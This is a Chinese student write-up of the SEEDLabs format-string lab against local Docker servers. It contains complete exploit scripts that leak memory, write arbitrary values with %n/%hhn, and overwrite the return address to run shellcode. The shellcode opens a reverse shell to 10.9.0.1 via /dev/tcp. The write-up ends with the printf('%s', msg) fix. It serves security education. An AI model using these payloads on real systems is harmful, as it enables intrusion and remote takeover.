SEEDLabs Format String
实验原理
攻击目标代码中含有以下代码片段:
unsigned int target = 0x11223344;
char* secret = "A secret message\n";
void myprintf(char* msg) {
// This line has a format-string vulnerability
printf(msg);
}
int main(int argc, char** argv) {
char buf[1500];
int length = fread(buf, sizeof(char), 1500, stdin);
printf("Input size: %d\n", length);
myprintf(buf);
return 1;
}
fread()
有长度限制,因此能保证 str
从 stdin
中读取 1500 个字节。
printf()
中只有格式化字符串,而没有对应的参数,因此运行时栈上格式化字符串之后的(向高地址方向)的内容误当作参数来执行指令:
-
这种情况下,可以使用
%x
等格式不断移动读取参数的指针。由于%x
只占两个字节,而指针移动四个字节,因此可以将指针移动到直到指定位置; -
再通过格式化字符串中的
%s
和%n
(以当前参数为地址写入目前已打印字节数)进行任意读写操作,达到攻击目的。
环境准备
① 首先此次实验需要关闭地址随机化,才能精确计算指针偏移位置:
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
若设为 1 则对栈进行地址随机化;若设为 2 则对堆和栈都进行地址随机化。
② 在 server-code
中依据 Makefile
编译服务器代码 stack.c
和 format.c
,并将可执行文件复制到 fmt-containers
中:
$ make
$ make install
编译过程中会报如下 warning,是由gcc编译器针对格式字符串漏洞实现的对策生成的:
③ 最后,需要使用 docker-compose.yml
配置并启动 docker container
$ dcbuild
$ dcup
Task 1
实验目标: 对 32 位的目标服务器 10.9.0.5 进行输入攻击,使其程序崩溃。
实验方案: 可以直接使用 %n
进行写操作,当程序无法正常返回时,不会打印 (ˆ_ˆ)(ˆ_ˆ) Returned properly (ˆ_ˆ)(ˆ_ˆ)
。
实验步骤:
① 对服务器发送一般的字符串,观察正确返回的现象:
$ echo hello | nc 10.9.0.5 9090
② 使用 build_string.py
生成 badfile
,内容填充如下,并发送给服务器:
s = "%x"*1 + "%n"*749
fmt = (s).encode('latin-1')
content[0:len(fmt)] = fmt
$ ./build_string.py
$ cat badfile | nc 10.9.0.5 9090
观察到程序无法正确返回:
Task 2
2.A
实验目标: 对 32 位的目标服务器 10.9.0.5 进行输入攻击,打印出其栈上的信息,直到打印出 buffer 的内容。
实验方案: 在 buffer 开头放一段特殊字符,再放入格式化字符串;刚开始输出较多的 %x
;再逐渐较少个数,直至打印出特殊字符;
实验步骤:
① buffer 开头填充 0xaaaaaaaa
,便于查找;使用 build_string.py
生成 badfile
,内容填充如下,并发送给服务器:
number = 0xaaaaaaaa
content[0:4] = (number).to_bytes(4,byteorder='little')
s = "%x" * 64
fmt = (s).encode('latin-1')
content[4:4+len(fmt)] = fmt
$ ./build_string.py
$ cat badfile | nc 10.9.0.5 9090
② 经过反复尝试,%x
个数位 64 时正好打印出 buffer 开始的 4 个字节:
2.B
实验目标: 对 32 位的目标服务器 10.9.0.5 进行输入攻击,打印出其堆上的隐藏信息。
实验方案: 使用 Task 2 获得的偏移量,将前 4 个字节换位隐藏信息的起始地址,使用 %s
读取隐藏信息(字符串)
实验步骤:
① 对服务器发送一般的字符串,获得隐藏信息的地址:
$ echo hello | nc 10.9.0.5 9090
② 将 buffer 起始位置换成隐藏信息的起始地址;将最后一个 %x
换为 %s
;使用 build_string.py
生成 badfile
,内容填充如下,并发送给服务器:
number = 0x080b4008
content[0:4] = (number).to_bytes(4,byteorder='little')
s = "%x" * 63 + "%s"
fmt = (s).encode('latin-1')
content[4:4+len(fmt)] = fmt
$ ./build_string.py
$ cat badfile | nc 10.9.0.5 9090
可以观察到打印出了隐藏信息:
Task 3
3.A
实验目标: 对 32 位的目标服务器 10.9.0.5 进行输入攻击,将全局变量 target
的值修改为任意值
实验方案: 将 buffer
分为前后两部分:前一部分放置格式化字符串的参数,后一部分放置相关参数(例如 target
的地址);使用若干 %x
将指针移动到 buffer
中 target
地址的位置上,再使用 %n
对该位置进行输出,以修改 target
的值
实验步骤:
① 前面实验中已获得 target
的地址和原始值:
② 将 target
地址放在 buffer
的1000 位;刚开始输出较多的 %x
,再逐渐较少个数;经过反复实验,得到当 %x
的个数为 314 时正好将地址 0x080e5068
打印出来:
③ 使用 build_string.py
生成 badfile
,内容填充如下,并发送给服务器:
# Task 3 sub A
# %x 的个数减少一个,正好指向 buffer 的第 1000 位,即 target 的地址
s = "%x" * (314 - 1) + "%n"
fmt = (s).encode('latin-1')
content[0:len(fmt)] = fmt
number = 0x080e5068
content[1000:1004] = (number).to_bytes(4,byteorder='little')
$ ./build_string.py
$ cat badfile | nc 10.9.0.5 9090
④ 观察到 target
的值由原来的 0x11223344
变为了 0x0000062c
,说明之前一共打印了 1580 个字节:
3.B
实验目标: 对 32 位的目标服务器 10.9.0.5 进行输入攻击,将全局变量 target
的值修改为 0x00005000
实验方案: 前面已知输出字节数为 1580(0x62c
),因此利用 %d
一次性输入多个字节(要注意 %d
也会使指针偏移),使得输出字节数的低位凑到某一需要的数值;
因为 X86 的内存布局是小端模式,可以使用 %hhn
截取低位逐字节打印,并且要从高地址往低地址方向打印;
实验步骤:
① 由于 0x?00
到 0x?00
相差 256 个字节, 0x?00
到 0x?50
相差 336 个字节, 0x?50
到 0x?00
相差 256 个字节,将后面三个 %d
的宽度设置为这三个值;第一个 %d
计算应当取 148
;观察 target
的值的变化:
可以看到,第三个字节与其他的相差 0x50
,但是第一个 %d
计算错误,这是由于没有考虑到原来打印出的 0
现在对应位置上并不是 0。可以计算得到 "%x" * (314 - 1) + "%n"
的长度为 628,"%x" * (312) + "%156d" + "%hhn" + "%256d" + "%hhn" + "%336d" + "%hhn" + "%176d" + "%hhn"
的长度为 660 ,相当于少打印了 (660-628)/4=8
个 0
, 应当再增加 8
个字节的打印量,得到 148+8=156
;
② 使用 build_string.py
生成 badfile
,内容填充如下,并发送给服务器:
# 通过计算得到这些数值,例如 0x?50 和 0x?00 相差 336 个字节,所以使用 %366d 一次性输出
s = "%x" * (312) + "%156d" + "%hhn" + "%256d" + "%hhn" + "%336d" + "%hhn" + "%176d" + "%hhn"
fmt = (s).encode('latin-1')
content[0:len(fmt)] = fmt
# X86 是小端模式,因此地址从高到低打印 0x00 0x00 0x50 0x00
# 由于 %d 也会使指针偏移,因此地址间相差 4 个字节
addr1 = 0x080e506b
content[1000:1004] = (addr1).to_bytes(4,byteorder='little')
addr2 = 0x080e506a
content[1008:1012] = (addr2).to_bytes(4,byteorder='little')
addr3 = 0x080e5069
content[1016:1020] = (addr3).to_bytes(4,byteorder='little')
addr4 = 0x080e5068
content[1024:1028] = (addr4).to_bytes(4,byteorder='little')
$ ./build_string.py
$ cat badfile | nc 10.9.0.5 9090
③ 观察到 target
的值由原来的 0x11223344
变为了 0x00005000
:
3.C
实验目标: 对 32 位的目标服务器 10.9.0.5 进行输入攻击,将全局变量 target
的值修改为 0xaabbccdd
实验方案: 与 3.B 类似,这时要将输出的字节数凑到 0x?aa
,相比于 0x?00
增加了 170 个字节数,只要让第一个 %d
的字节数再增加 170 ;且 aa
与 bb
之间相差了 273 个字节,剩下的 %d
的字节数都改为 273
实验步骤:
① 使用 build_string.py
生成 badfile
,内容填充如下,并发送给服务器:
# 通过计算得到这些数值,326 = 156 + 170; 0xbb - 0xaa = 173
s = "%x" * (312) + "%326d" + "%hhn" + "%273d" + "%hhn" + "%273d" + "%hhn" + "%273d" + "%hhn"
fmt = (s).encode('latin-1')
content[0:len(fmt)] = fmt
# X86 是小端模式,因此地址从高到低打印 0xaa 0xbb 0xcc 0xdd
# 由于 %d 也会使指针偏移,因此地址间相差 4 个字节
addr1 = 0x080e506b
content[1000:1004] = (addr1).to_bytes(4,byteorder='little')
addr2 = 0x080e506a
content[1008:1012] = (addr2).to_bytes(4,byteorder='little')
addr3 = 0x080e5069
content[1016:1020] = (addr3).to_bytes(4,byteorder='little')
addr4 = 0x080e5068
content[1024:1028] = (addr4).to_bytes(4,byteorder='little')
$ ./build_string.py
$ cat badfile | nc 10.9.0.5 9090
④ 观察到 target
的值由原来的 0x11223344
变为了 0xaabbccdd
:
Task 4
实验目标: 对 32 位的目标服务器 10.9.0.5 进行输入攻击,在 Task 3 任意写的基础上,修改返回地址,执行 buffer 中的 shellcode ,以达到 reverse shell 的目的
实验方案: 输出结果中,可以看到 myprintf()
中 frame pointer 的地址,即 %ebp
的地址,因此我们可以修改这个 %ebp
往高地址方向 4 个字节位置的 return address 来劫持控制流;
实验步骤:
① 获得 frame pointer 和 buffer 地址,因此 return address 地址为 0xffffd45c
开始:
② 将 shellcode 放在 buffer 偏移 1200 的位置,计算得到需要修改的返回地址为 0xffffd9e0
,使用 Task 3 的方法计算 %d
的宽度;先将计算得到的地址写入 Task 3 中的 target
,检验 %d
的宽度是否设置正确:
③ 使用 build_string.py
生成 badfile
,内容填充如下:
- 已知本地 IP 为 10.9.0.1 ,修改 shellcode 时需要注意对齐
import sys
# 32-bit Generic Shellcode
shellcode_32 = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
N = 1500
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))
# Choose the shellcode version based on your target
shellcode = shellcode_32
# Put the shellcode somewhere in the payload
start = 1200 # Change this number
content[start:start + len(shellcode)] = shellcode
# 0xffffd530 + 1200 = 0xffffd530 + 0x4b0 = 0xffffd9e0
s = "%x" * (312) + "%335d" + "%hhn" + "%256d" + "%hhn" + "%218d" + "%hhn" + "%263d" + "%hhn"
fmt = (s).encode('latin-1')
content[0:len(fmt)] = fmt
# ebp at 0xffffd458, return at 0xffffd45c
addr1 = 0xffffd45f
content[1000:1004] = (addr1).to_bytes(4,byteorder='little')
addr2 = 0xffffd45e
content[1008:1012] = (addr2).to_bytes(4,byteorder='little')
addr3 = 0xffffd45d
content[1016:1020] = (addr3).to_bytes(4,byteorder='little')
addr4 = 0xffffd45c
content[1024:1028] = (addr4).to_bytes(4,byteorder='little')
# Save the format string to file
with open('badfile', 'wb') as f:
f.write(content)
$ ./exploit.py
③ 在另一个终端监听 9090 端口,将 badfile
发送给 10.9.0.5,观察到 reverse shell :
$ cat badfile | nc 10.9.0.5 9090
$ nc -nv -l 9090
查看 10.9.0.5 的 docker ID ,确实是 93401afe8c67,说明攻击成功:
Task 5
实验目标: 对 64 位的目标服务器 10.9.0.6 进行输入攻击,在 Task 3 任意写的基础上,修改返回地址,执行 buffer 中的 shellcode ,以达到 reverse shell 的目的。
实验方案: 与 Task 4 不同之处在于,64 位的地址高位是 0,会阻断 printf
的解析过程,因此要把 buffer 中格式化字符串放在返回地址之前,并且在修改返回地址时,只需要修改前 6 个字节,剩下两个字节本身就是 0 ,不需要修改
实验步骤:
① 首先对服务器发送一般的字符串,获得各类地址和数据:
$ echo hello | nc 10.9.0.6 9090
② 将 target
地址放在 buffer
的1000 位;刚开始输出较多的 %p
,再逐渐较少个数;经过反复实验,得到当 %p
的个数为 159 时正好将地址 0x555555558010
打印出来:
③ 将 shellcode 放在 buffer 偏移 1200 的位置,计算得到需要修改的返回地址为 0x7fffffffe930
;使用 Task 3 的方法计算 %lld
的宽度,先将计算得到的地址写入 target
,检验 %lld
的宽度是否设置正确,可以看到 target
的值的后 6 个字节变成了 0x7fffffffe930
,说明计算正确:
# 0x00007fffffffe480 + 1200 = 0x00007fffffffe930
s = "%p"*(159 - 2) + "%174lld"+"%hhn"+"%128lld"+"%hhn"+"%256lld"+"%hhn"+"%256lld"+"%hhn"+"%234lld"+"%hhn"+"%71lld"+"%hhn"
fmt = (s).encode('latin-1')
content[0:len(fmt)] = fmt
# target at 0x0000555555558010
addr1 = 0x0000555555558015
content[1000:1008] = (addr1).to_bytes(8,byteorder='little')
addr2 = 0x0000555555558014
content[1016:1024] = (addr2).to_bytes(8,byteorder='little')
addr3 = 0x0000555555558013
content[1032:1040] = (addr3).to_bytes(8,byteorder='little')
addr4 = 0x0000555555558012
content[1048:1056] = (addr4).to_bytes(8,byteorder='little')
addr5 = 0x0000555555558011
content[1064:1072] = (addr5).to_bytes(8,byteorder='little')
addr6 = 0x0000555555558010
content[1080:1088] = (addr6).to_bytes(8,byteorder='little')
④ 用 ③ 中计算得到的格式化字符串,换成目标返回地址(即 %rbp+8
),将生成的 badfile
传给 10.9.0.6,就可以看到 reverse shell 的现象:
#!/usr/bin/python3
import sys
# 64-bit Generic Shellcode
shellcode_64 = (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
"AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
N = 1500
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))
# Choose the shellcode version based on your target
shellcode = shellcode_64
# Put the shellcode somewhere in the payload
start = 1200 # Change this number
content[start:start + len(shellcode)] = shellcode
# 0x00007fffffffe480 + 1200 = 0x00007fffffffe930
s = "%p"*(159 - 2) + "%174lld"+"%hhn"+"%128lld"+"%hhn"+"%256lld"+"%hhn"+"%256lld"+"%hhn"+"%234lld"+"%hhn"+"%71lld"+"%hhn"
fmt = (s).encode('latin-1')
content[0:len(fmt)] = fmt
# %rsp at 0x00007fffffffe430; return address at 0x00007fffffffe438
addr1 = 0x00007fffffffe43d
content[1000:1008] = (addr1).to_bytes(8,byteorder='little')
addr2 = 0x00007fffffffe43c
content[1016:1024] = (addr2).to_bytes(8,byteorder='little')
addr3 = 0x00007fffffffe43b
content[1032:1040] = (addr3).to_bytes(8,byteorder='little')
addr4 = 0x00007fffffffe43a
content[1048:1056] = (addr4).to_bytes(8,byteorder='little')
addr5 = 0x00007fffffffe439
content[1064:1072] = (addr5).to_bytes(8,byteorder='little')
addr6 = 0x00007fffffffe438
content[1080:1088] = (addr6).to_bytes(8,byteorder='little')
# Save the format string to file
with open('badfile', 'wb') as f:
f.write(content)
$ ./exploit.py
$ nc -nv -l 9090
$ cat badfile | nc 10.9.0.6 9090
查看 10.9.0.6 的 docker ID ,确实是 b6e6c9b44d19,说明攻击成功:

Task 6
实验目标: 解决前面的输入攻击问题
实验方案: 被攻击代码中 pintf()
直接将字符串作为第一个参数输出,因此会被利用为格式化字符串,只需将其作为普通参数传入即可
实验步骤:
① 修改 format.c
,将 msg
作为 %s
的参数打印:
// This line has a format-string vulnerability
// printf(msg);
printf("%s", msg);
② 重新编译、创建环境,发现不会出现 warning:
③ 使用上面的方法尝试打印栈上信息,并不能成功: